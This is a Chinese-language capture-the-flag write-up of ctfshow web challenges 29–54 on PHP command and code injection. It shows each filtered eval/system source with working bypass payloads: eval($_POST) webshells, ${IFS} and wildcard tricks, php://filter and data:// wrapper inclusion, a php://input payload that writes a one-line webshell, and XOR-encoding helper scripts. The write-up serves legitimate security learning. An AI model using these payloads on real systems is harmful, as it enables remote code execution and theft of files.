Web-29

题目提示:

image-20220309192847711

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

方法一

输入:?c=system("ls -a");//查看目录下的所有文件

image-20220311014318495

先看一下需要的文件是否在当前目录,诶,发现在的

image-20220311014905883

输入:cat f*

image-20220311012451440

要右键查看源代码才能看到

image-20220311015141227

笑死了,两位大佬开始探讨新方法了,这边偷师一下下

方法二

输入:?c=eval($_POST['a']);   //因为a这个是字符串,不能被执行,所以要加一个eval

image-20220311022732936

然后去蚁剑连接一下,诶,成功~

image-20220311023334618

点开去找找flag

image-20220311023624923

有啦

方法三

这是最开始的想法哈哈哈,小小介绍一下

我们输入:?c=system("ls -a");  //查看全部文件

因为寻思着flag被过滤了,就就就想办法拿到flag的内容

输入:?c=system("touch xjw.php");  //新建一个.php文件
     ?c=system("ls -a");    //瞅瞅有没有成功添加
     ?c=system("cp f* xjw.php");   //把flag.pph复制到xjw.php里
     ?c=system("cat xjw.php")     //输出文件内容
      记得这个也是要右键查看源代码的哈~

这里其实就是第一种方法的复杂版哈哈哈哈哈哈哈,就是自己的第一个想法,所以就一定要做一下


小知识-cat

在linux中与cat有类似功能的
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
找到一个替换的即可

Web-30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

从上一题学到if(!preg_match("/flag/i", $c)就是过滤的意思,所以本题可知过滤了flag、system,所以昨天的那种方法就行不通啦

方法一

输入:?c=`cp fla????? xjw.txt`;     //把flag.php的文件内容复制到xjw.txt
 查看 xjw.txt

image-20220312011836534

方法二

输入:?c=passthru('tac f*');         

甚至不用右键查看源代码,直接就出现了

image-20220312124304383


小知识-system

system() 输出并返回最后一行shell结果

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针.


这道题原来想试试用 exec("echo f*");试试来着的,没成功啊嘞,上面两种方法是去看了看大佬们的wp,第三种才是自己写的,救命哈哈哈哈我好菜

方法三

模仿上一题的第二种方法试了试

输入:?c=eval($_POST["xjw"]);
      xjw=phpinfp();

如图

image-20220312130221618

成功连接当当当~~

image-20220312130059259

然后就是老办法去找flag藏在哪里

image-20220312130423804

Get!偷师成功~

Web-31

image-20220312143857137

flag\system\php\cat\sort\shell\小数点\空格\单引号

过滤了好多救命,不慌不慌,道理应该都是一样的(做完看了看大佬的wp,好像说是过滤了空格啊嘞)

image-20220312153232573

一招打遍好不啦,别骂哈哈哈哈哈哈等我学新方法再po上来

image-20220312153323792


小知识-空格

在linux 空格可以用以下字符串代替

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

原:cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

Web-32

image-20220312160110212

flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号

老方法行不通了哈哈哈哈

image-20220312160034810

试了好多已经会了的方法,无果,灰溜溜去看wp,涉及到php伪协议,就是之前协会考核的第三题还是第四题来着的,先学习一下下再战

参考网站:https://segmentfault.com/a/1190000018991087

先输入

image-20220312202523291

啥也没有,eval尝试失败,因为echo、print 、require和include什么的不需要括号(欢迎补充),但是题目过滤了echo,所以我们考虑用include绕过

输入:?c=include$_POST[1]?>     //这里的"?>"是代替被过滤掉的";"的
      1=php://filter/read=convert.base64-encode/resource=flag.php   //伪协议

查了一下,这种方法叫参数逃逸(找度娘半天没看到什么有关的啊嘞)

会回显一串长不拉几的编码

image-20220313000202930

因为这里是Base-64编码,所以我们得转一下得到内容

image-20220312235254052


小知识-反引号

反引号和单引号与双引号则完全不同,后两者都是括号内的字符当作字符串处理,而反引号则处理命令。相当于system()。

反引号在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行


小知识-函数和语言结构

这个对应上面

image-20220313161256479

为啥它们不需要括号的问题,就涉及了我们这次的知识点

语言结构和函数的不同

(1)语言结构比对应功能的函数快

(2)语言结构在错误处理上比较粗糙,由于是语言关键词,所以不具备再处理的环节

(3)语言结构不能在配置项(php.ini)中禁用,函数则可以。

(4)语言结构不能被用做回调函数

补:语言结构列表 :

echo() print() die() isset() unset() include() array() list() empty() require()

小声bb:其实我也没咋懂,记住几个常用的就完事

Web-33

image-20220313002748899

flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号

image-20220313005152260

跟上题有点像,就直接用原来的payload试了试,一直不行,看了看也没有什么东西被过滤哇,局势僵持了好久,苦苦挣扎,最后,哦,我resource写错了,没想到吃了老本的亏,孩子真的会谢~_~

呜呜呜continue

输入:?c=include$_POST[xjw]?>
      xjw=php://filter/read=convert.base64-encode/resource=flag.php

image-20220313005853620

发现每次都学好一招可以混好几题啊嘞

web-34

image-20220313010615651

flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号\小于号\等于号

这题不能完全用上一题的了,"=" ":"都被过滤了啊嘞

这里试了一下用"rlike"、"like"和"!<>"什么的代替"="好像八太行

最后把POST请求改成GET就就就好了

输入:?c=include$_GET[xjw]?>&xjw=php://filter/read=convert.base64-encode/resource=flag.php

题是误打误撞做出来了,但是咱还是得搞搞清楚,dd我大哥

image-20220313020353001

如图哈~然后解码一下下,搞定

image-20220313020829665

web-35

image-20220313021204512

就是说没看出来和34题有啥区别,就一样的再来一遍,有一个练手小技巧:就是这种一样一样的我们就可以自己手打,不要ctrlc+v了,随便还能记下来嘿嘿嘿小聪明yyds

image-20220313021707885

就是说又出来了bingo~

web-36

image-20220313021851647

flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号\小于号\等于号\撇号(不知道是不是这样叫的哈哈哈)\数字\

没影响的,它多过滤的东西我们都没有出现再payload里,就直接再来打一遍就ok了

image-20220313022217525

web-37

(因为后台说我这有啥后门病毒,所以我这一篇就都先弄图哈)

image-20220313022404290

换花样了友友们,不能摆大烂,啃老本了嗷~

因为除了flag就什么没过滤了,就跟前面的输一样的试试

image-20220313194715025

没成功啊嘞,再试试偷师的方法

image-20220313194731291

image-20220313024422079

失败again,再去试试其他的伪协议

image-20220313154356517

去看了看这题的提示(前面竟然都忘记还有这么一个东西),用data://伪协议

image-20220313194446312

然后右键查看源码就好了

前面尝试了这种方法,想跟蚁剑连一连来着的,内容为空也不知道为啥

image-20220313172827324

到时候去问问师傅

image-20220313172325455


小知识-伪协议

file:// 协议

file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php:// 协议

1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
2.php://input + [POST DATA]执行php代码

如http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入权限,还可以写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib:// 协议

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

data:// 协议

data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

web-38

image-20220313185628004

比上一题多过滤了个php和filter,那就是说咱只是php://filter不能用,data://还是可行的,但是不能跟上题一模一样了,得找找php的替代品,直接联想到前面反引号代替system()的例子

输入:?c=data:text/plain,<?`cat f*`;?>

image-20220313192750931

嘿嘿小聪明有点用

web-39

image-20220314191924486

但看过滤就只有一个flag,把上一题的payload丢进去试试,出现了个.php,仔细

image-20220314191712162

看看源代码是这样子

image-20220314191739159

看到了include($c.".php");,问了师傅了解到<?= ?>标签 已经闭合了所以不会受到php的影响

输入:?c=data:text/plain,<?=`tac f*`;?>

因为tac起到反向显示的作用(就是cat是按顺序从上往下呈现的,而tac是反着来的)

image-20220315001128538

这样子的

image-20220315011007225


小知识-菜刀蚁剑冰蝎

菜刀 流量直接在base64里显示的拿去

蚁剑 php编码的 大部分都是base64方法

冰蝎 老版本 新版本取消了密钥 强特征就只有请求长度是固定的,弱特征是可以改的

web-40

image-20220315181300428

可以看到这里过滤了数字和各种符号,第一个思路就是我们只能用"()"或者"a-z""A-Z"完成绕过,想想都是只能用函数,而且肯定没那么简单一个函数就出来,因为跟函数不熟,所以就考虑看提示好叭

方法一

image-20220315194720251

救命,他好像直接答案给我了

输入:?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

image-20220315194848774

就直接出来了,我人傻了

方法二

因为用的是火狐,所以好像不能在application里面修改参数, 用谷歌可以,但是谷歌里我没下插件emmm,所以听师傅的抓个包,设置参数 ?c=session_start();system(session_id()); PHPSESSID=ls;

image-20220315203004196

显示出了全部文件,接下来就正常操作cat一下

image-20220315203304415

理想太美好,现实太骨感,接下来就又是一通乱试tac什么的,也不行,又多了个PHPSESSIOD就很离谱,无效提示好不啦,蒜啦,姐姐摆烂了

web-41

image-20220316232733497

可以看到,数字和字母都被过滤了,先去正则输入命令瞅瞅,这样更直观一丢丢

输入:system("cat flag.php");

后来发现是|()没有被过滤(|这个叫异或符,就是真真为真,真假为假这种)

image-20220324211517528

上次尝试了不会就abandon了 好久,又忘记看hint了,这题需要写两个脚本,需要python环境,不要问我怎么知道的

image-20220324212236523

所以就去Phpstudy里弄环境了

image-20220324212432051

把Hint里的脚本源码放这里好了,好看点

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

上面脚本主要是为我们要输入的命令进行Ascii编码什么的,起到绕过作用,然后去浏览器输入ctfshow/41.php,是空白的对不啦,没事,往下就是了

image-20220324212508130

继续创建一个41.py的文件,脚本源码还是放上来

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
#s.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

image-20220324214353253

然后抓个包输入经过编码后的参数,传递一波

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

image-20220324232444489

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

image-20220324232628758


小知识点-shell

这个是听师傅说的,我小小概括一下

就是long long ago,用的系统(dos系统)还很捞,没有图形界面,为了正常操作计算机,大家就需要通过把命令往shell中输入,后来有了macos、windows系统的图形化界面,就可以进行点按操作,哪些可以输入命令的条条框框都叫做shell

为什么叫webshell:因为可以通过web页面去接收执行命令

web-42

image-20220326132556822

我是菜狗我不知道什么是isset

image-20220326134641457

接下来就是看其他代码了

>/dev/null

这里的意思是输出为空,它把我们输入的命令发送到黑洞里去了

2>&1

这个的意思就是第二个命令是错误输出,第一个是标准输出,把错误输出输入到标准输出,统一输入到黑洞里

就是我们输入两个命令,第二个命令进黑洞(不输出),第一个就是可以执行的

方法一

输入:?c=cat flag.php;ll

image-20220326134623484

页面空了没事,右键查看源代码

方法二

Hint里的方法

输入:?c=cat flag.php%0a

我也不知道这个%0a干嘛的,感觉是起截断作用的,查了一下转化进制和ASCII码什么的也没看到,但是也可以做出来

web-43

image-20220326140952373

没什么区别,也就是过滤了个 ,换个分隔符就ok

输入:?c=cat flag.php&&ll

很尴尬,输出了1,翻车

image-20220326141154869

后来知道 && 的意思是第一个命令执行成功才能执行第二个命令

试了?c=more flag.php-- 
   ?c=more flag.php&&ls
   ?c=cat flag.php&&ls                  //别学我不好好审题,cat被过滤了
   ?c=cat flag.php&&cat flag.php
   ?c=tac flag.php&&tac flag.php        //全败

看了一下Hint

输入:?c=nl%20flag.php%0a
输入:?c=tac flag.php%26%26flag.php

也OK

后来试了试?c=tac%09flag.php||ls

image-20220326144405457

也是成功的

web-44

觉得还是直接复制代码好看点哈哈哈哈

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里是多过滤了flag

输入:?c=tac f*%0a
      ?c=tac f*||ls

image-20220326145910036

都可以直接出好不啦

web-45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

比上一题多了个空格

输入:?c=tac%09f*||ls
     ?c=tac%09f*%0a

image-20220326150618239

这里不知道为啥空格用%20替换是出不来flag的,非常神奇

web-46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同样也是多了几个过滤,注意到也没幸免哈哈哈,不打紧,就是说我们的f和%0a得换条路走了

输入:?c=tac%09f???.php||ls

image-20220326151856245有啦

web-47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这几个过滤的命令一般都是cat的替代,要不就输出前几后几的,我们的tac还是安全的吼吼

?c=tac%09f???.php||ls

跟上一题输入的一样就可以做出来了

image-20220326152416353

web-48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
输入:?c=tac%09f???.php||ls

纯纯属于一招打遍好叭

image-20220326152702666

web-49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

第一时间想着姐姐的%没保住,后来一想,不对,%09这种转码的不算

?c=tac%09f???.php||ls

快乐又肥来了

image-20220326152949331

web-50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

好家伙,终究没躲过

输入:?c=nl<f'',php%7c%7cls         //%7c就是||的意思       

输入不太行,后来反应过来''不等于*

''好像是叫shell特性

重新输入:?c=nl<fla''g.php%7c%7cls   
         ?c=nl<fla''g.php||ls              //7c不7c的都可以

image-20220326154626632

这里有个东西很难不骂

image-20220326172348932

就是说不仔细看是不是一模一样,仔细看会发现,诶,这个1的头怎么不一样,是什么大离谱1还有中英文形式麻,一通查资料,原来是nl,我是冤种

web-51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac小宝贝被过滤了,不打紧,现在咱用nl了哈哈哈哈哈哈

输入:?c=nl<fla''g.php%0a

web-52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

好像没啥影响,哦哦这里有个小tip,就是我们这样一题题做下来就可以把上题过滤的放一起看看变化,这样过滤的变多了也不容易看错

image-20220327144210538

这里过滤的是大小于号,所以我们 nl< 就又不行了~,诶发现$被放出来了,可以去翻翻之前的博客,有介绍过空格的绕过姿势

image-20220327150309720

我们可以采取前面两种方式

?c=cp${IFS}/fla?${IFS}/var/www/html/xjw.txt||ls
/xjw.txt

这里是把flag下的内容复制到xjw.txt上(cp),接着我们查看xjw.txt就可以直接看到了

image-20220327151728769

做完去试了一下Hint的方法,他是直接nl$IFS/fla''g||,别理,弄不出来~

web-53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了个wget,然后这一题是既输出我们输入的命令又输出system执行输出的命令(要注意system输出的是结果的最后一行)

image-20220327152916003

先输入ls||ls看看有什么

image-20220327153747963

会发现出现了个readflag,第一直觉就是flag应该换位置了,老方法输入

?c=cp${IFS}/readflag${IFS}/var/www/html/xjw.txt||ls

image-20220327153921308

笑死了,这么直白拒绝我(代码里写了,又审题不仔细)

突然想起来flag被过滤了,改个 fla?重新试一下刚刚那一条payload

查看一下readflag文件,下载了,是一个二进制内容救命,直觉出错了,还是继续flag.php好了

输入:?c=ta''c${IFS}fla?.php
     ?c=ca''t${IFS}fla?.php        //这两种都可以

image-20220327165236593

web-54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题就很离谱哈哈哈哈哈哈哈os:这是在干什么

输入:?c=mv${IFS}fla?.php${IFS}xjw.txt         //把flag文件重命名为xjw

image-20220327171218684

就会发现xjw已经代替了flag哈哈哈哈哈,然后就直接查看xjw就好啦